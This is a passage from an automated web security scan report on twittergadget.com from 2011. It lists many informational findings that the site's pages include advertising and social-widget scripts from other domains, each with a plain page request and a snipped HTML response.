User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:17:17 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7867
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<link rel="stylesheet" type="text/css" href="index.566.css">
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.91. http://www.twittergadget.com/contact.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/contact.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /contact.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:58 GMT
Server: Apache
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 6257
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.92. http://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

13.93. http://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/donate.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

13.94. http://www.twittergadget.com/gadget.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/gadget.asp

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /gadget.asp HTTP/1.1
Host: www.twittergadget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:17:40 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 2941
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META Http-Equiv="Pragma" Content="no-cache">
<title>TwitterGadget: Twitter Client</title>
<style type="text/css">
<!--
* { outline:0
...[SNIP]...
</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.95. http://www.twittergadget.com/how_to_install.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/how_to_install.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /how_to_install.php HTTP/1.1
Host: www.twittergadget.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:48 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5325
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.96. http://www.twittergadget.com/keyboard_shortcuts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/keyboard_shortcuts.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /keyboard_shortcuts.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:56 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5010
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.97. http://www.twittergadget.com/more.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/more.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /more.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:58 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8622

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.98. http://www.twittergadget.com/new.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/new.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /new.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:56 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 11217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.99. http://www.twittergadget.com/press.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/press.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /press.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:58 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7768
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.100. http://www.twittergadget.com/privacy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/privacy.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /privacy.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:58 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7282
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.101. http://www.twittergadget.com/sign_in_with_twittergadget.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/sign_in_with_twittergadget.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /sign_in_with_twittergadget.htm HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:57 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8633

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.102. http://www.twittergadget.com/truncit.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/truncit.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /truncit.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:57 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5760
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.103. http://www.twittergadget.com/what_is_oauth.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/what_is_oauth.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /what_is_oauth.htm HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:57 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7248
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.104. https://www.twittergadget.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.twitter.com/widgets.js
https://apis.google.com/js/plusone.js

Request

GET / HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:25 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7867
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
<link rel="stylesheet" type="text/css" href="index.566.css">
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.105. https://www.twittergadget.com/contact.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/contact.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /contact.php HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:41 GMT
Server: Apache
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 6257
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.106. https://www.twittergadget.com/donate.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.html

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /donate.html HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

13.107. https://www.twittergadget.com/donate.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/donate.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /donate.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

13.108. https://www.twittergadget.com/gadget.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/gadget.asp

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /gadget.asp HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/sign_in_with_twittergadget.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:10 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Vary: Accept-Encoding
Content-Length: 2941
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<META Http-Equiv="Pragma" Content="no-cache">
<title>TwitterGadget: Twitter Client</title>
<style type="text/css">
<!--
* { outline:0
...[SNIP]...
</script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.109. https://www.twittergadget.com/how_to_install.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/how_to_install.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /how_to_install.php HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/press.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:19:21 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5325
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.110. https://www.twittergadget.com/keyboard_shortcuts.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/keyboard_shortcuts.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /keyboard_shortcuts.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:03 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5010
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.111. https://www.twittergadget.com/more.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/more.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /more.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:06 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8622

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.112. https://www.twittergadget.com/new.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/new.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /new.php HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:42 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 11217
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.113. https://www.twittergadget.com/notify.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/notify.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /notify.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:07 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 5379
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.114. https://www.twittergadget.com/press.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/press.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /press.php HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:18:38 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7768
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.115. https://www.twittergadget.com/privacy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/privacy.php

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /privacy.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:04 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7282
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.116. https://www.twittergadget.com/reauthorize.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/reauthorize.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /reauthorize.htm HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:20:07 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 7438
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equi
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

13.117. https://www.twittergadget.com/sign_in_with_twittergadget.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/sign_in_with_twittergadget.htm

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /sign_in_with_twittergadget.htm HTTP/1.1
Host: www.twittergadget.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://www.twittergadget.com/tgauth.php?retry=1
